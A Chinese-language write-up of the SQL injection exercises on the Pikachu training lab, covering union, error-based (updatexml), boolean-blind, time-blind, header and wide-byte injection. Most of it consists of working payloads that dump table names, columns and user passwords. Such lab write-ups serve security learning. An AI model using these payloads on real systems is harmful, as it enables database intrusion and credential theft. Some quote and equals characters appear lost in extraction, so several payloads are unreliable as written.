Pikachu之sql注入
数字型注入(post)我们先查询一下观察url没有变换抓包看看是post请求那么我们就在bp里面测试发送到repeater我们在id1这里做手脚先简单判断一下是否有注入点id1这里页面报错那么大概率这里是有sql注入漏洞的判断原理$id $_GET[id]; $sql SELECT * FROM news WHERE id $id; // 数字型 $sql SELECT * FROM news WHERE id $id; // 字符型当id这个参数等于1时数字型SELECT * FROM news WHERE id 1字符型SELECT * FROM news WHERE id 1这两种情况都会因为多出一个单引号而破坏 SQL 语法导致数据库报错。正常参数是不能包含这个符号的如果传入且数据库报错那么就可以说明参数值被原样拼接进 SQL 语句没有对输入做足够的转义那么这个地方大概率是有sql注入漏洞的判断完是否有注入漏洞后我们就要判断闭合了id1 and 11 //页面正常 id1 and 12 //页面报错如果输入上面的代码且页面与注释所说的相匹配那么该处无需闭合and是交集∩需要左右都满足才为对id1是正确的11也是正确的所以页面正常反之同理判断完闭合下面我就可以来演示联合注入的操作了判断回显点数id1 order by 1 //正常 id1 order by 2 //正常 id1 order by 3 //报错那么回显点数就是第一次报错时的数字减1因为sql查询语句会是这样SELECT id, name FROM users WHERE id1order by 1按第 1 列id排序合法正常执行order by 2按第 2 列name排序合法正常执行order by 3按第 3 列排序但结果里根本没有第 3 列SQL 语法直接报错查看回显点id-1 union select 1,2输入这个就会让回显点回显这个的目的说查看可利用的回显点因为不是所有回显点都会回显1和2都可用id-1是为了报错爆库名id-1 union select 1,database()database()函数会返回数据库名数据库名叫pikachu爆表名id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()group_concat(table_name)这是 MySQL 的聚合函数把查询到的所有行里的 table_name 值拼接成一个字符串默认逗号分隔。因为我们的目标是拿到所有的表名如果不用它只会返回第一行用了就能一次性把所有表名打包在一个格子(回显点2)里输出。information_schema.tables这是 MySQL 自带的元数据表记录了整个数据库中所有表的信息其中有一个列就是 table_name表名。table_schemadatabase()table_schema 是表的所属数据库名。database() 函数返回当前连接的数据库名在之前的步骤中已爆出叫做 pikachu。爆字段我们选择users表id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers这里就是把table换成了column大概看一下就好了爆数据我们选择password字段id-1 union select 1,password from users成功爆到密码字符型注入(get)这种就不用在bp里面测试了直接在输入框里测试先判断是否有sql注入然后判断闭合然后就是联合注入报错说明需要闭合查询成功说明是单引号闭合原理$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password;我们正常输入admin 123456SELECT * FROM users WHERE username admin AND password 123456我们输入admin and 11#SELECT * FROM users WHERE username admin and 11# AND password 123单引号给username闭合了#给后面注释了正常回显报错说明回显点数为3后面就是联合查询了就是要记得闭合和注释下面我就直接给结果了搜索型注入判断是否有sql注入判断闭合搜索框一般是%关键词%这种方式存在的所以我们的闭合便要将%这两个闭合掉select username,id,email from member where username like %$name%;成功闭合接下来就是使用联合注入了0% union select 1,2,3#0% union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()#0% union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers#0% union select 1,2,password from users#注入成功xx型注入先看看有没有sql报错报错接下来判断闭合这里报错了那么很有可能闭合里面有单引号和前面的单引号闭合了但是中间夹杂了一些符号导致sql语句出错我们接着试是’闭合判断成功所谓的xx型注入就是输入的值可能被各种各样的符号包裹单引号双引号括号等等select id,email from member where username($name);接下来就是进行联合注入就行了这里略过“insert/update”注入insert注入当我们注册时数据库会进行insertINSERT INTO users(username,password) VALUES($username,$password);我们进行修改密码时数据库会进行updateUPDATE users SET password$password WHERE username$username;这两处地方往往也是sql注入的重灾区我们可以使用报错注入报错注入我们正常写sql语句数据库正常返回数据SELECT * FROM users WHERE id1;我们写一个错误的sql语句数据库就会报错SELECT updatexml(1,1,1);XPATH syntax error: 1updatexml(a,b,c)这是 MySQL 提供的一个修改 XML 数据的函数。updatexml(XML文档,XPath表达式,要替换成的新值)假设有一个xml张三我们要把张三换成李四那么会这样写updatexml(XML,/user/name,李四)中间是路径右边是值左边是xml回到SELECT updatexml(1,1,1);那我们把中间的1改成database()数据库查看路径的时候会看到pikachu这不是一个正确的路径所以会报错XPATH syntax error: pikachu爆库名1 and updatexml(1,concat(0x7e,database()),1)-- //或者 1 and updatexml(1,concat(0x7e,database()),1) and //这取决于闭合要自行判断concat(a,b)concat可以把字符串a和b拼接起来写这个的原因是报错信息有时候不是那么好看我们写一个concat(0x7e,database())就会把pikachu和~拼在一起变成~pikachu这样便于观察爆表名1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),1) and 这里和联合注入很像就是concat(0x7e,(去掉union的联合注入))爆字段1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers)),1) and 和联合注入一样将table换成column后面改成table_name爆数据第一条1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)),1) and 第二条1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1)),1) and 第n条1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit n-1,1)),1) and 这里不用group_concat()的原因是报错是有长度限制的不能全部显示之前是因为表名和字段名比较短所以可以显示全如果数据里的这个密码也足够长那么就要使用SUBSTRING()来分段读取了update注入我们登录进去点击修改个人信息此处就是类似修改密码的修改类会用到update也是使用报错注入1 and updatexml(1,concat(0x7e,database()),1) and 后面的操作就和上面一样了delete注入就是数据库使用delete的时候执行了我们的恶意sql指令常用于删除场景我们开启抓包点击删除在id62后面进行报错注入id62andupdatexml(1,concat(0x7e,database()),1)后续就是进行报错注入http header注入产生 Header 注入的原因是因为很多程序员会把 Header 写进数据库。程序员直接把$useragent$_SERVER[HTTP_USER_AGENT]; $sqlinsert into log(useragent) values($useragent);放进sql而且没有过滤那么攻击者就会改 Header。insert into log(useragent) values(abc)进行闭合本质上还是sql注入先登录进行刷新抓包在User-Agent后进行报错注入User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 and updatexml(1,concat(0x7e,database()),1) and 后续进行报错注入即可布尔盲注布尔就是bool只会返回true or false我们通过正常回显和报错来判断获取数据库长度1 and length(database())1# 1 and length(database())2# . . . 1 and length(database())n#length()会返回长度我们进行等于判断正常回显就是length函数里的长度了这里通常用burpsuite爆破一下就好了设置1-20的载荷发起爆破查看不同长度的结果即可得到数据库长度所以数据库名的长度为7获取数据库名kobe and substring(database(),1,1)p# kobe and substring(database(),2,1)i#substring(a,b,c)substring()是 SQL 中用于截取字符串的函数a你要截取的目标如database()b从第几位开始截取。注意SQL 的起始索引是 1不是 0。比如 b1 代表从第一个字符开始。c每次截取几个字符。进行抓包爆破使用集束炸弹1为1-72为a-z A-Z不要忘了数字但是这里我知道数据库是pikachu了就不加数字了这里大小写都判断为真了这样数据库名就是pikachu大写小写无所谓了获取表数量kobe and (select count(table_name) from information_schema.tables where table_schemadatabase())1# kobe and (select count(table_name) from information_schema.tables where table_schemadatabase())2#可得到有五张表获取表名长度kobe and (select length(table_name) from information_schema.tables where table_schemadatabase() limit 0,1)1# kobe and (select length(table_name) from information_schema.tables where table_schemadatabase() limit 0,1)1#得到第一张表名长度为8我们可以对limit n,1中的n进行集束炸弹爆破就可以一次得到所有表的长度第一张表长度为8第二张为6第三张为7第四张为5第五张为8获取表名kobe and substring((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)p#kobe and substring((select table_name from information_schema.tables where table_schemadatabase() limit xxx,1),xxx,1)xxx#给这段代码中2的三个xxx处打上标签第一个xxx为0-4第二个为1-8因为最长的表名为8第三个为a-z这样就能一次得到所有表名进行过滤一下就能得到五张表名分别是httpinfo、member、message、users、xssblind获取字段数量kobe and (select count(column_name) from information_schema.columns where table_nameusers)1#数量为18获取字段长度kobe and (select length(column_name) from information_schema.columns where table_nameusers limit 0,1)1#最长为19获取字段名kobe and substring((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1)p#这样便获取到所有字段名了获取数据数量kobe and (select count(username) from users)1#有三条数据获取数据长度kobe and (select length(username) from users limit 0,1)1#最大长度为7获取数据kobe and substring((select username from users limit 0,1),1,1)p#成功获取到数据时间盲注时间盲注用于没有回显没有报错时进行sql注入的方法kobe and if(11,sleep(5),0)#执行后页面等待大约5秒才会变化if(a,b,c)如果a为真那么返回b否则返回c那么我们就可以通过爆破判断查看变化时间来进行注入获取数据库长度kobe and if(length(database())1,sleep(3),0)#进行抓包但是这样看不出区别我们进行以下设置就能过滤出正确数据这里需要对资源池设置一下减少网络的影响获取数据库名kobe and if(substring(database(),1,1)p,sleep(5),0)#数据库名为pikachu获取表数量kobe and if((select count(table_name) from information_schema.tables where table_schemadatabase())1,sleep(5),0)#有五张表获取表名长度kobe and if((select length(table_name) from information_schema.tables where table_schemadatabase() limit 0,1)1,sleep(5),0)#最长为8获取表名kobe and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)p,sleep(5),0)#整理后得到表名获取字段数量kobe and if((select count(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())1,sleep(5),0)#为4获取字段名长度kobe and if((select length(column_name) from information_schema.columns where table_nameusers and table_schemadatabase() limit 0,1)1,sleep(5),0)#最长为8获取字段名kobe and if(substr((select column_name from information_schema.columns where table_nameusers and table_schemadatabase() limit 0,1),1,1)p,sleep(5),0)#整理过后即可得到字段名获取数据数量kobe and if((select count(username) from users)1,sleep(5),0)#三条数据获取数据长度kobe and if((select length(username) from users limit 0,1)1,sleep(5),0)#最大长度为7获取数据kobe and if(substr((select username from users limit 0,1),1,1)p,sleep(5),0)#整理得到admin、pikachu、test宽字节注入当我们输入admin这种非法输入时程序会使用addslashes()将转义为\这样就不会闭合单引号了admin\但如果数据库使用的是 GBK 编码GBK中一个汉字由两个字节组成如高 ↓ 0xB8DF数据库看到两个字节就认为这是一个汉字关于addslashes()假设我们输入%dfurl解码后是DF 2727为单引号由于有单引号php会自动变成DF 5C 27这里的5C就是\GBK此时会把DF5C看作是一个汉字\被吃掉了变成 汉字 了sql此时就闭合了我们输入?id%df or 11#转义后是%df\ or 11#数据库中为汉字 or 11#变成select * from users where username[汉字] or 11#成功执行回到pikachu上我们先抓包放到重发器里这是为了防止payload被浏览器编码在bp里面进行测试kobe%df or 11#kobe%df order by 2# kobe%df order by 3#回显点数为2kobe%df union select 1,2#kobe%df union select 1,database()#测试成功接下来就是联合注入了